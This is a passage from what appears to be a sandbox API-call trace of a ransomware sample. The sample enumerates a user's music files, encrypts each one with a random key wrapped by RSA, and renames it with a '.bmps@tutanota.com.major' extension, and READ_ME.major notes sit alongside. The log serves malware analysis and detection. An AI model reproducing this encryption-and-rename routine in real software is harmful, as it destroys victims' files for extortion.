dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0169.964] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e98 | out: hHeap=0x570000) returned 1 [0169.964] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0169.964] FindNextFileW (in: hFindFile=0x653aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cd27e0, ftCreationTime.dwHighDateTime=0x1d4c6da, ftLastAccessTime.dwLowDateTime=0xa6545120, ftLastAccessTime.dwHighDateTime=0x1d4c88b, ftLastWriteTime.dwLowDateTime=0x1c878a17, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.964] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0169.964] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0169.964] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0169.964] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0169.964] GetLastError () returned 0x0 [0169.964] SetLastError (dwErrCode=0x0) [0169.964] GetLastError () returned 0x0 [0169.964] SetLastError (dwErrCode=0x0) [0169.964] GetLastError () returned 0x0 [0169.964] SetLastError (dwErrCode=0x0) [0169.964] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0169.964] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0169.964] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0169.964] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ec0 [0169.964] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x653a20 [0169.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0169.965] FindNextFileW (in: hFindFile=0x653aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f0cea0, ftCreationTime.dwHighDateTime=0x1d4c7c0, ftLastAccessTime.dwLowDateTime=0xba461a20, ftLastAccessTime.dwHighDateTime=0x1d4ce57, ftLastWriteTime.dwLowDateTime=0xba461a20, ftLastWriteTime.dwHighDateTime=0x1d4ce57, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="9 P8gv.m4a", cAlternateFileName="9P8GV~1.M4A")) returned 1 [0169.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0169.965] SetLastError (dwErrCode=0x0) [0169.965] GetLastError () returned 0x0 [0169.965] SetLastError (dwErrCode=0x0) [0169.965] GetLastError () returned 0x0 [0169.965] SetLastError (dwErrCode=0x0) [0169.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fd8 [0169.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0169.965] FindNextFileW (in: hFindFile=0x653aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c878a17, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c878a17, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c878a17, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0169.965] SetLastError (dwErrCode=0x0) [0169.965] GetLastError () returned 0x0 [0169.965] SetLastError (dwErrCode=0x0) [0169.965] GetLastError () returned 0x0 [0169.965] SetLastError (dwErrCode=0x0) [0169.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e98 [0169.965] FindNextFileW (in: hFindFile=0x653aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aea8a10, ftCreationTime.dwHighDateTime=0x1d4cdda, ftLastAccessTime.dwLowDateTime=0x709ac230, ftLastAccessTime.dwHighDateTime=0x1d4ccbe, ftLastWriteTime.dwLowDateTime=0x709ac230, ftLastWriteTime.dwHighDateTime=0x1d4ccbe, nFileSizeHigh=0x0, nFileSizeLow=0x2ae5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="umObjvU.wav", cAlternateFileName="")) returned 1 [0169.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0169.966] SetLastError (dwErrCode=0x0) [0169.966] GetLastError () returned 0x0 [0169.966] SetLastError (dwErrCode=0x0) [0169.966] GetLastError () returned 0x0 [0169.966] SetLastError (dwErrCode=0x0) [0169.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e98 [0169.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0169.966] FindNextFileW (in: hFindFile=0x653aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aea8a10, ftCreationTime.dwHighDateTime=0x1d4cdda, ftLastAccessTime.dwLowDateTime=0x709ac230, ftLastAccessTime.dwHighDateTime=0x1d4ccbe, ftLastWriteTime.dwLowDateTime=0x709ac230, ftLastWriteTime.dwHighDateTime=0x1d4ccbe, nFileSizeHigh=0x0, nFileSizeLow=0x2ae5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="umObjvU.wav", cAlternateFileName="")) returned 0 [0169.966] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.966] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\vTZvJKhBqcN\\umObjvU.wav", dwFileAttributes=0x80) returned 1 [0169.966] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\vTZvJKhBqcN\\umObjvU.wav" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\vtzvjkhbqcn\\umobjvu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0169.967] GetFileSizeEx (in: hFile=0x7b0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=10981) returned 1 [0169.967] ReadFile (in: hFile=0x7b0, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x2ae5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2ae5, lpOverlapped=0x0) returned 1 [0169.968] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=-10981, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.968] WriteFile (in: hFile=0x7b0, lpBuffer=0x65bbc8*, nNumberOfBytesToWrite=0x2ae5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65bbc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2ae5, lpOverlapped=0x0) returned 1 [0169.968] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2ae5 [0169.968] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.968] WriteFile (in: hFile=0x7b0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.968] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.968] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.968] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.968] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="kBiK56Te7bKPjdg68UoklkoQ0uMIeHWW34PUYQQ0EwjOYfgaqaIfuvLzZYBrlmg1\nalLs0bjubrPR02Bb88755lGKobmoTqgHOR6ftC8bFvGY3h3ZA+0cB3CY23TL7yvX\nd0mVZ6SMuBKzgVd0LjD3oB3tWeavAJK27TQ14XFMurro78bRTkMJu1SdWkyi/BwT\niAa235DHtfzuMGQBsbdXGU3btGagUWPD6moawLhqppGbByYLPgVvDH0XcU+afmNo\nhoKjDNOUXYffTQ7lcbdbDEWddSVlTajU97XdQZgLrCsc7kbawAFGb86KuTJg1GqY\nbCUenP+dIbJ4rJP8JocDMg==\n", pcchString=0x2e3f9a8) returned 1 [0169.969] WriteFile (in: hFile=0x7b0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.969] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.969] WriteFile (in: hFile=0x7b0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.969] CloseHandle (hObject=0x7b0) returned 1 [0169.969] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\vTZvJKhBqcN\\umObjvU.wav" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\vtzvjkhbqcn\\umobjvu.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\vTZvJKhBqcN\\umObjvU.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\vtzvjkhbqcn\\umobjvu.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.970] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.970] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\vTZvJKhBqcN\\9 P8gv.m4a", dwFileAttributes=0x80) returned 1 [0169.970] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\vTZvJKhBqcN\\9 P8gv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\vtzvjkhbqcn\\9 p8gv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0169.971] GetFileSizeEx (in: hFile=0x7b0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=54964) returned 1 [0169.971] ReadFile (in: hFile=0x7b0, lpBuffer=0x6590d8, nNumberOfBytesToRead=0xd6b4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0xd6b4, lpOverlapped=0x0) returned 1 [0169.971] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=-54964, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.972] WriteFile (in: hFile=0x7b0, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0xd6b4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd6b4, lpOverlapped=0x0) returned 1 [0169.972] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd6b4 [0169.972] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.972] WriteFile (in: hFile=0x7b0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.972] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.972] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.972] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.972] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="CVb6U9QlB1REOL3qFfEBal5nGnQEa33NLN9GK97I6YXszQ45ALkZwjQhDiMLi2pq\n56zC4w7dFtuYqQvfMvAH5xq7ft7LXvsAT3fTJRMa4XxKlSk1B4F56sdfS1cUGxl5\n3GBZEXow5WJg5V3Etpoi7Sd4gDEazW/CX8H0p6AHStJKz+CoQdysrY0s00tcprwc\nl6W8kBJbw+mry7fSIxCsSEuUeG2G4Hhngji8tUqH36E8aT322lwSiDLb3yHGo//x\n/NdP6z8cfcHsObirQWvB98Yoo/2nmC6NXStc50PzEavk9PqNERqG3XKe0P3ZfCdP\nXMpyPi4xxL1k3zitVKq+hg==\n", pcchString=0x2e3f9a8) returned 1 [0169.972] WriteFile (in: hFile=0x7b0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.972] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.972] WriteFile (in: hFile=0x7b0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.973] CloseHandle (hObject=0x7b0) returned 1 [0169.973] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\vTZvJKhBqcN\\9 P8gv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\vtzvjkhbqcn\\9 p8gv.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\vTZvJKhBqcN\\9 P8gv.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\vtzvjkhbqcn\\9 p8gv.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.975] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\8hmA-v_b\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82d708f0, ftCreationTime.dwHighDateTime=0x1d4cc69, ftLastAccessTime.dwLowDateTime=0xd0135ed0, ftLastAccessTime.dwHighDateTime=0x1d4d4b0, ftLastWriteTime.dwLowDateTime=0x1c95d7c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653b20 [0169.975] SetLastError (dwErrCode=0x0) [0169.975] GetLastError () returned 0x0 [0169.975] SetLastError (dwErrCode=0x0) [0169.975] GetLastError () returned 0x0 [0169.975] SetLastError (dwErrCode=0x0) [0169.975] FindNextFileW (in: hFindFile=0x653b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82d708f0, ftCreationTime.dwHighDateTime=0x1d4cc69, ftLastAccessTime.dwLowDateTime=0xd0135ed0, ftLastAccessTime.dwHighDateTime=0x1d4d4b0, ftLastWriteTime.dwLowDateTime=0x1c95d7c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.975] SetLastError (dwErrCode=0x0) [0169.975] GetLastError () returned 0x0 [0169.975] SetLastError (dwErrCode=0x0) [0169.975] GetLastError () returned 0x0 [0169.975] SetLastError (dwErrCode=0x0) [0169.975] FindNextFileW (in: hFindFile=0x653b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a981b0, ftCreationTime.dwHighDateTime=0x1d4cfd3, ftLastAccessTime.dwLowDateTime=0x98c2c410, ftLastAccessTime.dwHighDateTime=0x1d4cf3e, ftLastWriteTime.dwLowDateTime=0x98c2c410, ftLastWriteTime.dwHighDateTime=0x1d4cf3e, nFileSizeHigh=0x0, nFileSizeLow=0x3969, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="c6dIjR.wav", cAlternateFileName="")) returned 1 [0169.975] SetLastError (dwErrCode=0x0) [0169.975] GetLastError () returned 0x0 [0169.975] SetLastError (dwErrCode=0x0) [0169.975] GetLastError () returned 0x0 [0169.975] SetLastError (dwErrCode=0x0) [0169.975] FindNextFileW (in: hFindFile=0x653b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c95d7c3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c95d7c3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c95d7c3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.976] SetLastError (dwErrCode=0x0) [0169.976] GetLastError () returned 0x0 [0169.976] SetLastError (dwErrCode=0x0) [0169.976] GetLastError () returned 0x0 [0169.976] SetLastError (dwErrCode=0x0) [0169.976] FindNextFileW (in: hFindFile=0x653b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x637b2830, ftCreationTime.dwHighDateTime=0x1d4ca5a, ftLastAccessTime.dwLowDateTime=0x8c018e30, ftLastAccessTime.dwHighDateTime=0x1d4c5bd, ftLastWriteTime.dwLowDateTime=0x8c018e30, ftLastWriteTime.dwHighDateTime=0x1d4c5bd, nFileSizeHigh=0x0, nFileSizeLow=0x4143, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="xSmfzo1lIJ.mp3", cAlternateFileName="XSMFZO~1.MP3")) returned 1 [0169.976] SetLastError (dwErrCode=0x0) [0169.976] GetLastError () returned 0x0 [0169.976] SetLastError (dwErrCode=0x0) [0169.976] GetLastError () returned 0x0 [0169.976] SetLastError (dwErrCode=0x0) [0169.976] FindNextFileW (in: hFindFile=0x653b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x637b2830, ftCreationTime.dwHighDateTime=0x1d4ca5a, ftLastAccessTime.dwLowDateTime=0x8c018e30, ftLastAccessTime.dwHighDateTime=0x1d4c5bd, ftLastWriteTime.dwLowDateTime=0x8c018e30, ftLastWriteTime.dwHighDateTime=0x1d4c5bd, nFileSizeHigh=0x0, nFileSizeLow=0x4143, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="xSmfzo1lIJ.mp3", cAlternateFileName="XSMFZO~1.MP3")) returned 0 [0169.976] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.976] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\8hmA-v_b\\xSmfzo1lIJ.mp3", dwFileAttributes=0x80) returned 1 [0169.976] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\8hmA-v_b\\xSmfzo1lIJ.mp3" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\8hma-v_b\\xsmfzo1lij.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4 [0169.976] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16707) returned 1 [0169.976] ReadFile (in: hFile=0x7b4, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x4143, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x4143, lpOverlapped=0x0) returned 1 [0169.977] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=-16707, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.977] WriteFile (in: hFile=0x7b4, lpBuffer=0x65d228*, nNumberOfBytesToWrite=0x4143, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65d228*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4143, lpOverlapped=0x0) returned 1 [0169.977] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4143 [0169.977] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.977] WriteFile (in: hFile=0x7b4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.978] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.978] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.978] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.978] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="iLLRMQiNFMoXgJHGrIb6xCKWzB8RjP1xZ23DKH2KKd0RBQnByMitzcmVazm3d8fb\nYieolkdhvnAZV6gXFUftyazDhM8/dVIP9XoRllJsLpNGP85My4uX32YDygH1bv+y\n/+0P2giMrajuMz5MXiulnEJ7NG43CDJscpDsvZLo0Es/xcQyBx0e2rUh5UiiLwdW\nnUdw1+f/V8xgA5fcPp/t9OHcjNX4b3yEwRV0TEQyGdiXD/ebeVSDVMUbytL0OQV1\ngntkg9At2WC6xyF9HxKoN+Fdo8XkcdeE5QluyCep0Ic/6Wce7BCnsnJfVfQ7i7Lj\n/v6KoyA5v8rWJmdVWRmZOQ==\n", pcchString=0x2e3f9a8) returned 1 [0169.978] WriteFile (in: hFile=0x7b4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.978] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.978] WriteFile (in: hFile=0x7b4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.978] CloseHandle (hObject=0x7b4) returned 1 [0169.978] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\8hmA-v_b\\xSmfzo1lIJ.mp3" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\8hma-v_b\\xsmfzo1lij.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\8hmA-v_b\\xSmfzo1lIJ.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\8hma-v_b\\xsmfzo1lij.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.980] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.980] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\8hmA-v_b\\c6dIjR.wav", dwFileAttributes=0x80) returned 1 [0169.980] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\8hmA-v_b\\c6dIjR.wav" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\8hma-v_b\\c6dijr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4 [0169.980] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=14697) returned 1 [0169.980] ReadFile (in: hFile=0x7b4, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x3969, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x3969, lpOverlapped=0x0) returned 1 [0169.981] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=-14697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.981] WriteFile (in: hFile=0x7b4, lpBuffer=0x65ca50*, nNumberOfBytesToWrite=0x3969, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65ca50*, 